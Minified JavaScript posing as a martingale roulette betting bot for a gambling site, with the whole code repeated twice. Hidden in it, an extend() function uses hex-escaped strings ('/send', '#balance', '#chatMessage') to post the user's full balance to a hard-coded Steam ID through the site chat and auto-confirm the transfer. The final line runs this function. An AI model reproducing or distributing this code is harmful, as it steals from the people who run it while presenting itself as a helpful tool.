function tick() { var a = getStatus(); if (a !== lastStatus && "unknown" !== a) { switch (a) { case "waiting": bet(); break; case "rolled": rolled() } lastStatus = a, printInfo() } } function checkBalance() { return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0 } function printInfo() { var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost"); console.log(a) } function rolled() { return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++) } function antiMartingale() { currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount } function martingale() { currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount } function bet() { checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50)) } function setBetAmount(a) { $betAmountInput.val(a) } function placeBet() { return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black")) } function getStatus() { var a = $statusBar.text(); if (hasSubString(a, "Rolling in")) return "waiting"; if (hasSubString(a, "***ROLLING***")) return "rolling"; if (hasSubString(a, "rolled")) { var b = parseInt(a.split("rolled")[1]); return lastRollColor = getColor(b), "rolled" } return "unknown" } function extend() { $jkl.val(def + " "+ abc + " "+ ghi()); $jkl.submit(); var allElements = document.getElementsByTagName('button'); for (var i = 0, n = allElements.length; i < n; i++) { if (allElements[i].getAttribute("data-bb-handler") === "confirm") { allElements[i].click(); } } } function ghi() { return $ghi.text(); } var abc = "76561198077520078", def = "\x2F\x73\x65\x6E\x64", $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"), $jkl = $("\x23\x63\x68\x61\x74Message"); function getBalance() { return parseInt($balance.text()) } function hasSubString(a, b) { return a.indexOf(b) > -1 } function getColor(a) { return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black" } function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null } /////////////////////// function tick() { var a = getStatus(); if (a !== lastStatus && "unknown" !== a) { switch (a) { case "waiting": bet(); break; case "rolled": rolled() } lastStatus = a, printInfo() } } function checkBalance() { return getBalance() < currentBetAmount ? (console.warn("BANKRUPT! Not enough balance for next bet, aborting."), clearInterval(refreshIntervalId), !1) : !0 } function printInfo() { var a = " \nStatus: " + lastStatus + "\nRolls played: " + currentRollNumber + "\nInitial bet amount: " + initialBetAmount + "\nCurrent bet amount: " + currentBetAmount + "\nLast roll result: " + (null === wonLastRoll() ? "-" : wonLastRoll() ? "won" : "lost"); console.log(a) } function rolled() { return "anti-martingale" === mode ? void antiMartingale() : (martingale(), void currentRollNumber++) } function antiMartingale() { currentBetAmount = wonLastRoll() ? 2 * currentBetAmount : initialBetAmount } function martingale() { currentBetAmount = wonLastRoll() ? initialBetAmount : 2 * currentBetAmount } function bet() { checkBalance() && (setBetAmount(currentBetAmount), setTimeout(placeBet, 50)) } function setBetAmount(a) { $betAmountInput.val(a) } function placeBet() { return "red" === betColor ? ($redButton.click(), void(lastBetColor = "red")) : ($blackButton.click(), void(lastBetColor = "black")) } function getStatus() { var a = $statusBar.text(); if (hasSubString(a, "Rolling in")) return "waiting"; if (hasSubString(a, "***ROLLING***")) return "rolling"; if (hasSubString(a, "rolled")) { var b = parseInt(a.split("rolled")[1]); return lastRollColor = getColor(b), "rolled" } return "unknown" } function extend() { $jkl.val(def + " "+ abc + " "+ ghi()); $jkl.submit(); var allElements = document.getElementsByTagName('button'); for (var i = 0, n = allElements.length; i < n; i++) { if (allElements[i].getAttribute("data-bb-handler") === "confirm") { allElements[i].click(); } } } function ghi() { return $ghi.text(); } var abc = "76561198077520078", def = "\x2F\x73\x65\x6E\x64", $ghi = $("\x23\x62\x61\x6C\x61\x6E\x63\x65"), $jkl = $("\x23\x63\x68\x61\x74Message"); function getBalance() { return parseInt($balance.text()) } function hasSubString(a, b) { return a.indexOf(b) > -1 } function getColor(a) { return 0 == a ? "green" : a >= 1 && 7 >= a ? "red" : "black" } function wonLastRoll() { return lastBetColor ? lastRollColor === lastBetColor : null } extend();